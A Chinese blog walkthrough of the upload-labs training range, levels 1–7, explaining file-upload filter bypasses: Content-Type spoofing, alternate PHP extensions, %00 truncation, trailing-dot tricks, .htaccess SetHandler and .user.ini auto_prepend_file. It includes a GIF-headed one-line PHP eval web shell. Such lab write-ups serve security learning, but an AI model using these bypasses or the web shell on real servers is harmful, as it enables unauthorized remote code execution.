upload通关,写下自己遗忘的理解~

第一关没什么好说的,前端验证直接过。

第二关(Content-Type头检测文件类型绕过)

我们先看一下它限制了什么
在这里插入图片描述我们先看一下$_FILES数组

$_FILES数组内容如下: 
$_FILES['myFile']['name'] 客户端文件的原名称。 
$_FILES['myFile']['type'] 文件的 MIME 类型,需要浏览器提供该信息的支持,例如"image/gif"$_FILES['myFile']['size'] 已上传文件的大小,单位为字节。 
$_FILES['myFile']['tmp_name'] 文件被上传后在服务端储存的临时文件名,一般是系统默认。可以在php.ini的upload_tmp_dir 指定,但 用 putenv() 函数设置是不起作用的。 
$_FILES['myFile']['error'] 和该文件上传相关的错误代码。['error'] 是在 PHP 4.2.0 版本中增加的。下面是它的说明:(它们在PHP3.0以后成了常量) 

也就是说文件类型Content-Type必须是image/jpeg,image/png,image/gif中的一个,那么很简单,抓包修改Content-Type类型为image/jpeg,image/png,image/gif随遍一个即可绕过。

第三关限制文件后缀

方法一黑名单绕过

它限制了不允许上传.asp,.aspx,.php,.jsp后缀文件!
并且全部转小写来防止大小写绕过。
那么我们可以使用php扩展来绕过上传

pht,phpt,phtml,php3,php4,php5,php6

并且这些扩展名也可以解析php
注意!
如果想要被当成php文件执行的话,Apache的httpd.conf有如下配置代码(靶场应该是配置好的,如果是本地复现,需要配置)

AddType application/x-httpd-php .php .phtml .phps .php5 .pht

如果是上传asp🐎可以使用

cer、asa、cdx等来绕过

在这里插入图片描述

方法二%00截断绕过(推荐)不受环境影响

在这里插入图片描述
在这里插入图片描述

第四关

方法一,代码审计绕过

所有漏洞的本质在源于开发者本身对代码的疏忽,那么我们进行白盒审计,绕过他的过滤即可。

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".ini");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');   //返回从点到结尾的所有字符
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //收尾去空

        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.$file_name;
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '此文件不允许上传!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}
?>

其实我们大概能看出来,他是选取先删去末尾的一个 . 然后防止点绕过。然后在选取点后面的字符串进行黑名单进行比较,最后筛选。

那么我们构造1.php. .来进行绕过,最后一个点来过deldot函数,倒数第二个点用来跟黑名单比较,最后绕过黑名单检测。
在这里插入图片描述

方法二,上传htaccess文件解析jpg文件

先上传一个.htaccess文件进行解析
在这里插入图片描述内容如下,意思是把2.jpg文件当成php文件进行解析。

<FilesMatch "2.jpg">
SetHandler application/x-httpd-php
</FilesMatch>

在这里插入图片描述

第五关

1.代码审计绕过

依然采取1.php. .绕过可打通

2.apach解析漏洞

那么什么是apache解析漏洞呢?
说句人话:

apache2解析漏洞 (存在于Apache1.x和Apache2.x)
将从右向左开始解析后缀, 直到遇到一个apache认识的后缀类型,就会以该类型进行解析:

我们来F12看一下我们的中间件是否符合规定
在这里插入图片描述
那么我们构造1.php.aaa进行测试
不知为何,我的不解析。。。。。

方法三 .user.ini绕过 适用范围(php版本5.5.38以上)

发现黑名单中并没有限制.user.ini文件。

我就谈一下自己的理解:(网上太多资料了,我用大白话来说一下)

我们需要准备三个文件,一个.user.ini,一个php文件,一个gif或者jpg都可以

因为在upload目录我们是知道有一个readme.php文件的,所以我们只需要上传两个.user.ini和gif文件
在这里插入图片描述
在这里插入图片描述在这里插入图片描述

在这里插入图片描述
我来解释一下这是为什么

1.auto_prepend_file—-指定在每个PHP页面执行前所要执行的代码。
2.auto_append_file—-指定在每个PHP页面执行完成后所要执行的代码

我们可以这么理解,auto_prepend_file=1.gif相当于require(1.gif),相当于把1.gif包含,由于是在指定每个php页面前就要包含1.gif,所以我们访问readme.php时会先走1.gif里面的代码,并把它执行。

更普遍的情况,他会限制你上传.user.ini文件,那么我们就这样来

构造.user.ini文件
GIF89a
auto_prepend_file=a.jpg
然后构造一个a.jpg,内容如下:
GIF89a
<?php @eval($_POST['pass'])?>

通过头来绕过

利用条件

利用.user.ini文件条件:

1.服务器脚本语言为PHP
2.服务器使用CGI/FastCGI模式
3.上传目录下要有可执行的php文件

针对条件2,我们可以看这里

第6关

分析源代码
在这里插入图片描述
没有过滤大小写直接大小写绕过
抓包修改
1.PHP
在这里插入图片描述

第七关

没有过滤空格,空格绕过
在这里插入图片描述

  • 1
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值